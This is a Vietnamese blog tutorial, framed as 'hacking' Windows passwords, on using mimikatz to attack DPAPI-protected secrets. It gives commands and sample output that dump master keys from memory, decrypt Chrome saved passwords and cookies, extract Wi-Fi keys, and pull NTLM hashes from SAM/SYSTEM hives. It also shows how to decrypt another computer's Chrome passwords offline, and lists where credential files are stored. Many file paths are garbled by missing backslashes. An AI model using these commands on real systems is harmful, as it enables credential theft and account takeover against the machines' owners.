Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA
Trong bài viết “Cách hack mật khẩu Windows“, mình đã hướng dẫn các bạn cách hack pass login Windows 10 bằng truy xuất RAM. Còn trong bài viết hôm nay, mình sẽ hướng dẫn các bạn làm quen với chương trình mimikatz 2, chương trình mà mình đã sử dụng để trích xuất mật khẩu trong hệ thống đang sử dụng hoặc từ các tệp đăng ký Windows từ một máy tính khác.
Cách Windows lưu trữ mật khẩu
Ngoài mật khẩu dùng để đăng nhập vào Windows, các mật khẩu dưới đây cũng được lưu trữ trong hệ điều hành này:
- Credential Manager
- Windows Vault
- Mật khẩu trình duyệt IE
- Mật khẩu Wifi
- Certifications
- Mật khẩu VPN
- SSH keys
- Mật khẩu Google Chrome
- Chứng chỉ Google Talk, Skype, Dropbox, iCloud, Safari
Tất cả các mật khẩu này đều được mã hóa. Để mã hóa mật khẩu và thông tin đăng nhập, hệ thống phải sử dụng DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu). Đối với người dùng cuối, tất cả các quy trình mã hóa và giải mã dữ liệu đều được minh bạch, tức là các nhà phát triển không đụng chạm tới dữ liệu thô của bạn.
Mật khẩu người dùng được sử dụng để mã hóa các dữ liệu này. Chính xác hơn, các master keys (khóa chính) được tạo ra, với sự trợ giúp của dữ liệu được mã hóa và giải mã, và mật khẩu người dùng được sử dụng để giải mã các khóa chính. Một người dùng có thể có nhiều master keys. Trên thực tế, hàm băm sẽ băm tất cả các mật khẩu cũ được lưu trữ và cố gắng giải mã khóa chính cho đến khi tìm thấy mã băm phù hợp.
Yêu cầu bắt buộc của cơ chế giải mã này là bạn phải có khoá chính phù hợp , ví dụ, mật khẩu từ trình duyệt web Google Chrome. Nhưng nếu bạn sao chép tệp chứa mật khẩu của trình duyệt này sang máy tính khác mà không có khóa chính của máy cũ, thì bạn sẽ không thể giải mã các mật khẩu này.
Cách mã hóa và giải mã bằng DPAPI
Chúng ta sẽ tiếp tục dùng công cụ mimikatz để thực nghiệm Hack tất cả Password đã lưu trên Windows.
Như đã đề cập ở trên, DPAPI được sử dụng để mã hóa và giải mã dữ liệu. DPAPI khá đơn giản không chỉ cho người dùng cuối, mà còn cho các nhà phát triển muốn sử dụng cách mã hóa này – có hai chức năng chính của DPAPI là mã hóa và giải mã, chúng có thể được gọi từ ứng dụng.
Trước khi chuyển sang trích xuất Password từ trình duyệt web và các Password khác được lưu trữ trên Windows, hãy tìm hiểu kỹ hơn về DPAPI. Nhiều bài báo hay đã giải thích cách hoạt động của DPAPI. Vậy nên mình sẽ không giải thích lại nữa, mà chỉ đơn giản là cung cấp các bài viết ở đây. Thay vì đi sâu vào chi tiết lý thuyết của DPAPI, chúng ta hãy thực hiện một vài ví dụ thực tế: mã hóa một chuỗi hoặc tệp bằng DPAPI.
Mô-đun dpapi được sử dụng để làm việc với DPAPI, lệnh protect được sử dụng để mã hóa dữ liệu. Lệnh này có tùy chọn bắt buộc là /data, cuối cùng, bạn chỉ cần nhập đường dẫn đến file hoặc văn bản cần mã hoá là được.
Ví dụ: tôi muốn mã hóa chuỗi ‘Test string to encrypt’:
dpapi::protect /data:"Test string to encrypt"
Hãy chú ý đến phần “Blob:” – đây là dữ liệu được mã hóa ở dạng nhị phân.
Thay vì hiển thị dữ liệu trên command line, chúng có thể được lưu bằng tùy chọn /out:
dpapi::protect /data:"Test string to encrypt" /out:crypted.txt
Kết quả là, tệp crypted.txt đã được tạo. Tệp này chứa dữ liệu “Test string to encrypt” được mã hóa.
Như bạn có thể thấy, chúng ta không cần phải suy nghĩ về khóa chính và mật khẩu – hệ điều hành sẽ tự làm mọi thứ.
Để giải mã, hàm blob được sử dụng (blob là dữ liệu được mã hóa theo phương pháp này) từ cùng một mô-đun dpapi. Hàm này có một tùy chọn bắt buộc là /in, sau đó bạn cần chỉ định dữ liệu để giải mã. Để giải mã, bạn cũng cần chỉ tuỳ chọn /unprotect, nếu không thông tin về blob (dữ liệu được mã hóa) sẽ chỉ được hiển thị mà không có giải mã:
dpapi::blob /in:crypted.txt /unprotect
Nếu bạn muốn lưu dữ liệu đã giải mã vào một tệp, thì hãy sử dụng tùy chọn /out.
Cách giải mã tệp DPAPI trên máy tính khác
Điều gì xảy ra nếu mình chuyển tệp crypto.txt sang một máy tính khác và cố gắng giải mã nó bằng cùng một lệnh trên? Thử xem nhé:
Việc giải mã đã không thành công và xuất hiện lỗi:
* using CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey is: {ac45381a-d9db-4c68-b0e9-7410667c3984}
Nếu bạn để ý kỹ lỗi thì sẽ tìm ra được, thứ chúng ta cần là Masterkey ac45381a-d9db-4c68-b0e9-7410667c3984.
Chuỗi ac45381a-d9db-4c68-b0e9-7410667c398 là mã băm khóa chính. Có thể nói đây là mã định danh hay vân tay của chìa khóa. Trên máy tính ban đầu, nơi dữ liệu đã được mã hóa, việc giải mã chúng rất đơn giản và dễ dàng. Còn khi chúng ta cố gắng giải mã dữ liệu này mà không có khóa chính sẽ không thành công. Vậy nên, thứ chúng ta cần là chỉ định Masterkey từ máy tính ban đầu, cụ thể là máy mà dữ liệu được mã hóa.
Mình đã trích xuất Masterkey và sẽ chỉ định nó bằng cách sử dụng tùy chọn /masterkey và chạy lại lệnh giải mã trên máy tính khác:
dpapi::blob /in:crypted.txt /unprotect /masterkey:5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8
Thành công rồi đó!
Cách tìm Windows Masterkeys
Mimikatz có chức năng trích xuất tất cả các master keys của người dùng hiện tại. Nhưng trước khi chuyển sang phần đó, chúng ta phải tìm hiểu các masterkeys để hiểu hết về cách giải mã này nhé.
Ở dạng đã giải mã, ví dụ masterkey trông như thế này: 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8
Các masterkeys được mã hóa và lưu trữ trong một thư mục có dạng %appdata%MicrosoftProtect{sid}*. Giải thích:
- %appdata% kà C:Users<USER>AppDataRoaming
- {sid} là user SID
Trong CMD (Win + r → gõ cmd), bạn có thể thấy SID của mình bằng lệnh:
wmic useraccount where name="%USERNAME%" get sid
Lệnh đó sẽ không hoạt động trong PowerShell. Các lệnh sau sẽ hoạt động trong cả CMD và PowerShell.
Tìm SID của bạn:
whoami /user
Tìm SID cho tất cả các user:
wmic useraccount get name,sid
Các masterkey được mã hoá trên ổ cứng của bạn:
Hàm dpapi::masterkey có thể giải mã các masterkey. Nếu bạn chỉ sử dụng chức năng này với tùy chọn /in, và chỉ định đường dẫn đến masterkey, thì thông tin về nó sẽ được hiển thị mà không cần giải mã:
dpapi::masterkey /in:"%appdata%MicrosoftProtectS-1-5-21-4099021954-1290662600-116018068-1001ac45381a-d9db-4c68-b0e9-7410667c3984"
Để trích xuất tất cả các masterkey của người dùng hiện tại cùng một lúc, hãy chạy lệnh:
sekurlsa::dpapi
Các masterkeys trong này gồm:
Authentication Id : 0 ; 371163 (00000000:0005a9db) Session : Interactive from 1 User Name : MiAl Domain : HACKWARE-MIAL Logon Server : HACKWARE-MIAL Logon Time : 25.02.2020 13:25:54 SID : S-1-5-21-4099021954-1290662600-116018068-1001 [ ] * GUID : {abd3abfe-f620-46e4-a5ee-8dc314ef4169} * Time : 25.02.2020 18:34:11 * MasterKey : 450e3e2609e394dfef60c90533a06ddd84dc9968965bd8579a3c40607704077e506c8d0738e6f42cfd934b3eb75eedc3c29fe7deb8dd0cf05ddb4deb653fcbff * sha1(key) : 806d3a6453a45b9b4eb3e8edafc9dd4b12c0d494 [ ] * GUID : {ac45381a-d9db-4c68-b0e9-7410667c3984} * Time : 25.02.2020 18:26:00 * MasterKey : 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8 * sha1(key) : d5a7975eea70b6fe5eae3809ed3c7e9c864d1333
GUID là một định danh (identifier), tên của một tệp masterkey. MasterKey chính là khóa chủ.
Để thuận tiện, mimikatz lưu trữ một bộ nhớ cache của các masterkey được giải nén. Và không chỉ lưu trữ và hiển thị chúng, mà còn sử dụng masterkeys nếu cần cho các hoạt động nhất định. Để xem nội dung của bộ nhớ đệm, hãy chạy lệnh:
dpapi::cache
Các masterkeys được giải nén có thể được sử dụng trên máy khác.
Cách lưu và sử dụng master keys
Để lưu bộ nhớ cache, hãy sử dụng các tùy chọn /save và /file: FILE:
dpapi::cache /save/file:cache.bin
Nếu bạn sử dụng tuỳ chọn /file, thì theo mặc định, dữ liệu sẽ được lưu vào tệp mimikatz_dpapi_cache.ndr.
Để load bộ nhớ cache, hãy sử dụng tùy chọn /load và /file: FILE:
dpapi::cache /load /file:cache.bin
CREDHIST
Tệp này nằm trên đường dẫn “%appdata%MicrosoftProtectCREDHIST”, chỉ tác dụng trong trường hợp không thuộc domain nào cả. Tệp này:
- chứa: thông tin đăng nhập được mã hóa trước đó của người dùng (SHA1 & NTLM)
- được sử dụng để: giải mã masterkey
- được bảo vệ bởi: mật khẩu SHA1 được dùng gần đây nhất
- mỗi entry được bảo vệ bởi khóa trước đó, …..
Để xem các thuộc tính của tệp này, hãy chạy lệnh:
dpapi::credhist /in:"%appdata%MicrosoftProtectCREDHIST"
Ví dụ kết quả:
**CREDHIST** dwVersion : 00000001 - 1
guid : {86cddf31-2b68-42fb-a6e6-28b628228fc8}
dwNextLen : 00000000 - 0
Mình đã cố gắng giải mã tệp này trong mimikatz bằng lệnh:
dpapi::credhist /in:"Z:filesCREDHIST" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003
nhưng lại không thành công. Nếu bạn biết cách giải mã nó, hãy để lại bình luận nhé.
Cách trích xuất tất cả mật khẩu của Google Chome
Trong mimikatz, sử dụng lệnh dpapi :: chrome, bạn có thể trích xuất tất cả mật khẩu của người dùng hiện tại. Bạn cần sử dụng tùy chọn /in với đường dẫn đến tệp lưu trữ thông tin xác thực. Tệp này nằm trong “%localappdata%GoogleChromeUser DataDefaultLogin Data”. Nhân tiện, tệp này thuộc dạng cơ sở dữ liệu SQLite, trong đó tất cả dữ liệu ngoại trừ mật khẩu (ví dụ: địa chỉ của các trang web) được lưu trữ dưới dạng văn bản rõ ràng. Và mật khẩu được mã hóa bằng DPAPI. Để giải mã, chúng ta cần phải sử dụng tuỳ chọn /unprotect:
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data" /unprotect
Cách trích xuất tất cả cookie của Google Chome
Google Chome lưu trữ cookie trong tệp “%localappdata%GoogleChromeUser DataDefaultCookies”. Như với mật khẩu của trang web, tất cả dữ liệu ngoại trừ cookie sẽ được lưu trữ dưới dạng văn bản rõ ràng. Để truy xuất tất cả thông tin của cookie, hãy chạy lệnh:
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect
Cách trích xuất mật khẩu Wi-Fi của Windows
Trong Windows, mật khẩu Wi-Fi có thể được trích xuất mà không cần mimikatz, ví dụ:
netsh wlan export profile interface= "<INTERFACE NAME>" key=clearfolder=c: netsh wlan export profile interface="*"key=clearfolder=c:
Để phương pháp này hoạt động, bạn phải cắm card Wi-Fi.
Nhược điểm của phương pháp này là nó không hoạt động đối với máy tính đã tắt.
Trong mimikatz có lệnh dpapi :: wifi và dpapi :: wwan tương ứng để trích xuất mật khẩu từ các kết nối Wi-Fi và WWAN đã lưu.
Mật khẩu Wi-Fi được lưu dưới dạng:
- C:ProgramDataMicrosoftWlansvcProfilesInterfaces{interface guid}*.xml
Và mật khẩu WWAN được lưu dưới dạng:
- C:ProgramDataMicrosoftWlansvcProfiles{interface guid}*.xml
Bạn cần bắt đầu bằng cách lấy các masterkeys. Vì mình thực hiện các lệnh này trên local, nên mình giải mã các masterkey bằng lệnh:
sekurlsa::dpapi
Mình đã tìm thấy trên local hai interfaces, mỗi interfaces có một cấu hình kết nối Wi-Fi:
- C:ProgramDataMicrosoftWlansvcProfilesInterfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml
- C:ProgramDataMicrosoftWlansvcProfilesInterfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml
Để trích xuất mật khẩu Wi-Fi, mìnhchạy các lệnh:
dpapi::wifi /in:"C:ProgramDataMicrosoftWlansvcProfilesInterfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml"
Mật khẩu trong dòng “Key Material:”.
dpapi::wifi /in:"C:ProgramDataMicrosoftWlansvcProfilesInterfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml" /unprotect
Nếu masterkeys không có trong bộ nhớ cache mimikatz, bạn có thể chỉ định rõ ràng nó bằng tùy chọn /masterkey.
Cách trích xuất mật khẩu Google Chrome từ một máy tính khác
- Để giải mã tệp “%localappdata%GoogleChromeUser DataDefaultLogin Data”, bạn cần Masterkey được mã hóa mật khẩu trong tệp này.
- Để giải mã masterkeys, bạn cần mật khẩu người dùng Windows để đăng nhập vào hệ thống và tệp masterkeys được mã hóa, tức là tệp %appdata%MicrosoftProtect{sid}*.
- Để bẻ khóa mật khẩu người dùng Windows, bạn cần có hàm băm NTLM.
- Để truy xuất mã băm NTLM, bạn cần các tệp đăng ký (registry files) C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, hoặc kết xuất lsass.DMP. Hơn nữa, tốt hơn là sử dụng kết xuất vì có thể trích xuất hàm băm SHA1 từ nó và hàm băm này có thể được sử dụng trực tiếp để giải mã masterkeys.
lsadump::sam /system:C:pathtoSYSTEM /sam:C:pathtoSAM
- Sau đó, để lấy Masterkey ngoại tuyến, bạn cần chạy lệnh sau:
dpapi::masterkey /in:"pathtoencryptedmasterkey" "/password:target_user_password" /sid:target_user_SID
SID có thể được lấy từ tên thư mục đến masterkeys được mã hóa.
dpapi::masterkey /in:"Z:files1f89c852-1c9d-47f9-81f8-b18be7c11512" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003
Nếu thành công, thông tin sau sẽ được hiển thị ở cuối kết quả:
[with volatile cache: SID:S-1-5-21-4099021954-1290662600-116018068-1003;GUID:{1bd91e0f-25f3-49e9-a370-bc68d1f0d272};MD4:ca76a176340f0291e1cc8ea7277fc571;SHA1:886d0f341f3c29030ec855334a08e52868c06c69; key : 89e43af0a178c2f1c7311c028dd75e2d2489fc78a3df92808094b1671785d6fd7f107ec562320bcaa8563be759abbf60bf70791107c5240cda2cfddcb003df19 sha1: b73d4d8cbbdafa960e49ca480559a4b530e65f05
]
Dòng chính bắt đầu bằng key– đây là masterkey được giải mã.
Ngoài ra, masterkeys sẽ được lưu vào bộ nhớ đệm.
Cuối cùng, để giải mã ngoại tuyến mật khẩu trình duyệt Google Chrome, hãy chạy lệnh:
dpapi::chrome /in:"PATHTOLogin Data" /unprotect /masterkey:MASTERKEY
Nếu masterkey đã có trong bộ nhớ cache, thì bạn có thể bỏ qua tùy chọn /masterkey.
Nơi Windows lưu trữ mật khẩu
Đây là các đường dẫn đến các tệp được mã hóa bằng DPAPI. Nếu bị thiếu cái nào, thì các bạn nhớ bình luận nhé:
Pivot table của tác giả mimikatz (rất khó đọc):
Mật khẩu Wi-Fi được lưu trữ trong:
- C:ProgramDataMicrosoftWlansvcProfilesInterfaces{interface guid}*.xml
Mật khẩu WWAN được lưu trữ trong:
- C:ProgramDataMicrosoftWlansvcProfiles{interface guid}*.xml Xml
Cookies Google Chrome được lưu trữ trong:
- %localappdata%GoogleChromeUser DataDefaultCookies
Mật khẩu của website được lưu trữ trong:
- %localappdata%GoogleChromeUser DataDefaultLogin Data
% localappdata% thường là ‘C:Users<USERNAME>AppDataLocal’.
Các masterkeys đã mã hóa được lưu trữ trong một thư mục có dạng %appdata%MicrosoftProtect{sid}*.
- %appdata% là C:Users<USERNAME>AppDataRoaming
- {sid} là user SID
System master keys:
- c:WindowsSystem32MicrosoftProtect*
Chứng chỉ user:
- %APPDATA%MicrosoftSystemCertificatesMyCertificates
- %APPDATA%MicrosoftCryptoRSA<SID>
Chứng chỉ hệ thống:
- HKLM:SOFTWAREMicrosoftSystemCertificatesMYCertificates*
- C:ProgramdataMicrosoftCryptoRSAMachineKeys
Dropbox:
- HKCUSOFTWAREDropboxks
- HKCUSOFTWAREDropboxks1
- %APPDATA%LocalDropboxinstance1config.dbx
- %APPDATA%LocalDropboxinstance_dbinstanse.dbx
Rsa securid:
- %LOCALAPPDATA%RSASecurIDStorage
Kết luận
Bạn sẽ tìm thấy thêm thông tin trong tài liệu về các mô-đun và lệnh của mimikatz.